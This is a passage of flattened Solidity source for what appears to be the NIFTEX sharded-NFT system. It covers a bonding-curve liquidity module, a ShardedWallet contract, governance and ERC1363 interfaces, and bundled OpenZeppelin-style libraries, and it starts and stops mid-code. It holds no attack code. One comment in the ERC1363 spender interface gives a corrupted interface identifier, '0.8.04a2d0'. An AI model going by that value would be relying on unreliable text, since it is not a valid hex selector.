emit ShardsSold(seller, amount, value);
return value;
}
function _supplyEther(address supplier, uint256 amount) internal {
etherLPToken.controllerMint(supplier, calcNewEthLPTokensToIssue(amount));
_etherLPExtra.underlyingSupply += amount;
emit EtherSupplied(supplier, amount);
}
function _supplyShards(address supplier, uint256 amount) internal {
shardLPToken.controllerMint(supplier, calcNewShardLPTokensToIssue(amount));
_shardLPExtra.underlyingSupply += amount;
emit ShardsSupplied(supplier, amount);
}
function calcNewShardLPTokensToIssue(uint256 amount) public view returns (uint256) {
uint256 pool = _shardLPExtra.underlyingSupply;
if (pool == 0) { return amount; }
uint256 proportion = amount * 10**18 / (pool + amount);
return proportion * shardLPToken.totalSupply() / (10**18 - proportion);
}
function calcNewEthLPTokensToIssue(uint256 amount) public view returns (uint256) {
uint256 pool = _etherLPExtra.underlyingSupply;
if (pool == 0) { return amount; }
uint256 proportion = amount * 10**18 / (pool + amount);
return proportion * etherLPToken.totalSupply() / (10**18 - proportion);
}
function calcShardsForEthSuppliers() public view returns (uint256) {
uint256 balance = ShardedWallet(payable(wallet)).balanceOf(address(this)) - _shardLPExtra.feeToNiftex - _shardLPExtra.feeToArtist;
return balance < _shardLPExtra.underlyingSupply ? 0 : balance - _shardLPExtra.underlyingSupply;
}
function calcEthForShardSuppliers() public view returns (uint256) {
uint256 balance = address(this).balance - _etherLPExtra.feeToNiftex - _etherLPExtra.feeToArtist;
return balance < _etherLPExtra.underlyingSupply ? 0 : balance - _etherLPExtra.underlyingSupply;
}
function withdrawSuppliedEther(uint256 amount) external returns (uint256, uint256) {
require(amount > 0);
uint256 etherLPTokenSupply = etherLPToken.totalSupply();
uint256 balance = address(this).balance - _etherLPExtra.feeToNiftex - _etherLPExtra.feeToArtist;
uint256 value = (balance <= _etherLPExtra.underlyingSupply)
? balance * amount / etherLPTokenSupply
: _etherLPExtra.underlyingSupply * amount / etherLPTokenSupply;
uint256 payout = calcShardsForEthSuppliers() * amount / etherLPTokenSupply;
// update balances
_etherLPExtra.underlyingSupply *= etherLPTokenSupply - amount;
_etherLPExtra.underlyingSupply /= etherLPTokenSupply;
etherLPToken.controllerBurn(msg.sender, amount);
// transfer
Address.sendValue(payable(msg.sender), value);
if (payout > 0) {
ShardedWallet(payable(wallet)).transfer(msg.sender, payout);
}
emit EtherWithdrawn(msg.sender, value, payout, amount);
return (value, payout);
}
function withdrawSuppliedShards(uint256 amount) external returns (uint256, uint256) {
require(amount > 0);
uint256 shardLPTokenSupply = shardLPToken.totalSupply();
uint256 balance = ShardedWallet(payable(wallet)).balanceOf(address(this)) - _shardLPExtra.feeToNiftex - _shardLPExtra.feeToArtist;
uint256 shards = (balance <= _shardLPExtra.underlyingSupply)
? balance * amount / shardLPTokenSupply
: _shardLPExtra.underlyingSupply * amount / shardLPTokenSupply;
uint256 payout = calcEthForShardSuppliers() * amount / shardLPTokenSupply;
// update balances
_shardLPExtra.underlyingSupply *= shardLPTokenSupply - amount;
_shardLPExtra.underlyingSupply /= shardLPTokenSupply;
shardLPToken.controllerBurn(msg.sender, amount);
// transfer
ShardedWallet(payable(wallet)).transfer(msg.sender, shards);
if (payout > 0) {
Address.sendValue(payable(msg.sender), payout);
}
emit ShardsWithdrawn(msg.sender, payout, shards, amount);
return (payout, shards);
}
function withdrawNiftexOrArtistFees(address to) public {
uint256 etherFees = 0;
uint256 shardFees = 0;
if (msg.sender == ShardedWallet(payable(wallet)).artistWallet()) {
etherFees += _etherLPExtra.feeToArtist;
shardFees += _shardLPExtra.feeToArtist;
delete _etherLPExtra.feeToArtist;
delete _shardLPExtra.feeToArtist;
}
if (msg.sender == ShardedWallet(payable(wallet)).governance().getNiftexWallet()) {
etherFees += _etherLPExtra.feeToNiftex;
shardFees += _shardLPExtra.feeToNiftex;
delete _etherLPExtra.feeToNiftex;
delete _shardLPExtra.feeToNiftex;
}
Address.sendValue(payable(to), etherFees);
ShardedWallet(payable(wallet)).transfer(to, shardFees);
}
function updateKAndX(uint256 newK_, uint256 newX_) public {
ShardedWallet sw = ShardedWallet(payable(wallet));
uint256 effectiveShardBal = sw.balanceOf(msg.sender) + shardLPToken.balanceOf(msg.sender) * sw.balanceOf(address(this)) / shardLPToken.totalSupply();
require(effectiveShardBal == sw.totalSupply());
curve.x = newX_;
curve.k = newK_;
assert(curve.k > 0);
assert(curve.x > 0);
emit KUpdated(curve.k, curve.x);
}
function transferTimelockLiquidity() public {
require(deadline < block.timestamp);
etherLPToken.controllerTransfer(address(this), recipient, getEthLPTokens(address(this)));
shardLPToken.controllerTransfer(address(this), recipient, getShardLPTokens(address(this)));
}
function getEthLPTokens(address owner) public view returns (uint256) {
return etherLPToken.balanceOf(owner);
}
function getShardLPTokens(address owner) public view returns (uint256) {
return shardLPToken.balanceOf(owner);
}
function transferEthLPTokens(address to, uint256 amount) public {
etherLPToken.controllerTransfer(msg.sender, to, amount);
}
function transferShardLPTokens(address to, uint256 amount) public {
shardLPToken.controllerTransfer(msg.sender, to, amount);
}
function getCurrentPrice() external view returns (uint256) {
return curve.k * 10**18 / curve.x / curve.x;
}
function getEthSuppliers() external view returns (uint256, uint256, uint256, uint256) {
return (_etherLPExtra.underlyingSupply, etherLPToken.totalSupply(), _etherLPExtra.feeToNiftex, _etherLPExtra.feeToArtist);
}
function getShardSuppliers() external view returns (uint256, uint256, uint256, uint256) {
return (_shardLPExtra.underlyingSupply, shardLPToken.totalSupply(), _shardLPExtra.feeToNiftex, _shardLPExtra.feeToArtist);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for
* deploying minimal proxy contracts, also known as "clones".
*
* > To simply and cheaply clone contract functionality in an immutable way, this standard specifies
* > a minimal bytecode implementation that delegates all calls to a known, fixed address.
*
* The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2`
* (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the
* deterministic method.
*
* _Available since v3.4._
*/
library Clones {
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
*
* This function uses the create opcode, which should never revert.
*/
function clone(address implementation) internal returns (address instance) {
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create(0, ptr, 0x37)
}
require(instance != address(0), "ERC1167: create failed");
}
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
*
* This function uses the create2 opcode and a `salt` to deterministically deploy
* the clone. Using the same `implementation` and `salt` multiple time will revert, since
* the clones cannot be deployed twice at the same address.
*/
function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) {
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create2(0, ptr, 0x37, salt)
}
require(instance != address(0), "ERC1167: create2 failed");
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(address implementation, bytes32 salt, address deployer) internal pure returns (address predicted) {
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000)
mstore(add(ptr, 0x38), shl(0x60, deployer))
mstore(add(ptr, 0x4c), salt)
mstore(add(ptr, 0x6c), keccak256(ptr, 0x37))
predicted := keccak256(add(ptr, 0x37), 0x55)
}
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(address implementation, bytes32 salt) internal view returns (address predicted) {
return predictDeterministicAddress(implementation, salt, address(this));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
function _initialize(string memory name_, string memory symbol_) internal virtual {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), currentAllowance - amount);
_burn(account, amount);
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "../governance/IGovernance.sol";
import "../initializable/Ownable.sol";
import "../initializable/ERC20.sol";
import "../initializable/ERC1363.sol";
contract ShardedWallet is Ownable, ERC20, ERC1363Approve
{
// bytes32 public constant ALLOW_GOVERNANCE_UPGRADE = bytes32(uint256(keccak256("ALLOW_GOVERNANCE_UPGRADE")) - 1);
bytes32 public constant ALLOW_GOVERNANCE_UPGRADE = 0xedde61aea0459bc05d70dd3441790ccfb6c17980a380201b00eca6f9ef50452a;
IGovernance public governance;
address public artistWallet;
event Received(address indexed sender, uint256 value, bytes data);
event Execute(address indexed to, uint256 value, bytes data);
event ModuleExecute(address indexed module, address indexed to, uint256 value, bytes data);
event GovernanceUpdated(address indexed oldGovernance, address indexed newGovernance);
event ArtistUpdated(address indexed oldArtist, address indexed newArtist);
modifier onlyModule()
{
require(_isModule(msg.sender), "Access restricted to modules");
_;
}
/*************************************************************************
* Contructor and fallbacks *
*************************************************************************/
constructor()
{
governance = IGovernance(address(0xdead));
}
receive()
external payable
{
emit Received(msg.sender, msg.value, bytes(""));
}
fallback()
external payable
{
address module = governance.getModule(address(this), msg.sig);
if (module != address(0) && _isModule(module))
{
(bool success, /*bytes memory returndata*/) = module.staticcall(msg.data);
// returning bytes in fallback is not supported until solidity 0.8.0
// solhint-disable-next-line no-inline-assembly
assembly {
returndatacopy(0, 0, returndatasize())
switch success
case 0 { revert(0, returndatasize()) }
default { return (0, returndatasize()) }
}
}
else
{
emit Received(msg.sender, msg.value, msg.data);
}
}
/*************************************************************************
* Initialization *
*************************************************************************/
function initialize(
address governance_,
address minter_,
string calldata name_,
string calldata symbol_,
address artistWallet_
)
external
{
require(address(governance) == address(0));
governance = IGovernance(governance_);
Ownable._setOwner(minter_);
ERC20._initialize(name_, symbol_);
artistWallet = artistWallet_;
emit GovernanceUpdated(address(0), governance_);
}
function _isModule(address module)
internal view returns (bool)
{
return governance.isModule(address(this), module);
}
/*************************************************************************
* Owner interactions *
*************************************************************************/
function execute(address to, uint256 value, bytes calldata data)
external onlyOwner()
{
Address.functionCallWithValue(to, data, value);
emit Execute(to, value, data);
}
function retrieve(address newOwner)
external
{
ERC20._burn(msg.sender, Math.max(ERC20.totalSupply(), 1));
Ownable._setOwner(newOwner);
}
/*************************************************************************
* Module interactions *
*************************************************************************/
function moduleExecute(address to, uint256 value, bytes calldata data)
external onlyModule()
{
if (Address.isContract(to))
{
Address.functionCallWithValue(to, data, value);
}
else
{
Address.sendValue(payable(to), value);
}
emit ModuleExecute(msg.sender, to, value, data);
}
function moduleMint(address to, uint256 value)
external onlyModule()
{
ERC20._mint(to, value);
}
function moduleBurn(address from, uint256 value)
external onlyModule()
{
ERC20._burn(from, value);
}
function moduleTransfer(address from, address to, uint256 value)
external onlyModule()
{
ERC20._transfer(from, to, value);
}
function moduleTransferOwnership(address to)
external onlyModule()
{
Ownable._setOwner(to);
}
function updateGovernance(address newGovernance)
external onlyModule()
{
emit GovernanceUpdated(address(governance), newGovernance);
require(governance.getConfig(address(this), ALLOW_GOVERNANCE_UPGRADE) > 0);
require(Address.isContract(newGovernance));
governance = IGovernance(newGovernance);
}
function updateArtistWallet(address newArtistWallet)
external onlyModule()
{
emit ArtistUpdated(artistWallet, newArtistWallet);
artistWallet = newArtistWallet;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IGovernance
{
function isModule(address, address) external view returns (bool);
function isAuthorized(address, address) external view returns (bool);
function getModule(address, bytes4) external view returns (address);
function getConfig(address, bytes32) external view returns (uint256);
function getNiftexWallet() external view returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC1363Receiver interface
* @dev Interface for any contract that wants to support `transferAndCall` or `transferFromAndCall`
* from ERC1363 token contracts.
*/
interface IERC1363Receiver {
/*
* Note: the ERC-165 identifier for this interface is 0x88a7ca5c.
* 0x88a7ca5c === bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))
*/
/**
* @notice Handle the receipt of ERC1363 tokens
* @dev Any ERC1363 smart contract calls this function on the recipient
* after a `transfer` or a `transferFrom`. This function MAY throw to revert and reject the
* transfer. Return of other than the magic value MUST result in the
* transaction being reverted.
* Note: the token contract address is always the message sender.
* @param operator address The address which called `transferAndCall` or `transferFromAndCall` function
* @param from address The address which are token transferred from
* @param value uint256 The amount of tokens transferred
* @param data bytes Additional data with no specified format
* @return `bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))`
* unless throwing
*/
function onTransferReceived(address operator, address from, uint256 value, bytes calldata data) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC1363Spender interface
* @dev Interface for any contract that wants to support `approveAndCall`
* from ERC1363 token contracts.
*/
interface IERC1363Spender {
/*
* Note: the ERC-165 identifier for this interface is 0.8.04a2d0.
* 0.8.04a2d0 === bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))
*/
/**
* @notice Handle the approval of ERC1363 tokens
* @dev Any ERC1363 smart contract calls this function on the recipient
* after an `approve`. This function MAY throw to revert and reject the
* approval. Return of other than the magic value MUST result in the
* transaction being reverted.
* Note: the token contract address is always the message sender.
* @param owner address The address which called `approveAndCall` function
* @param value uint256 The amount of tokens to be spent
* @param data bytes Additional data with no specified format
* @return `bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))`
* unless throwing
*/
function onApprovalReceived(address owner, uint256 value, bytes calldata data) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
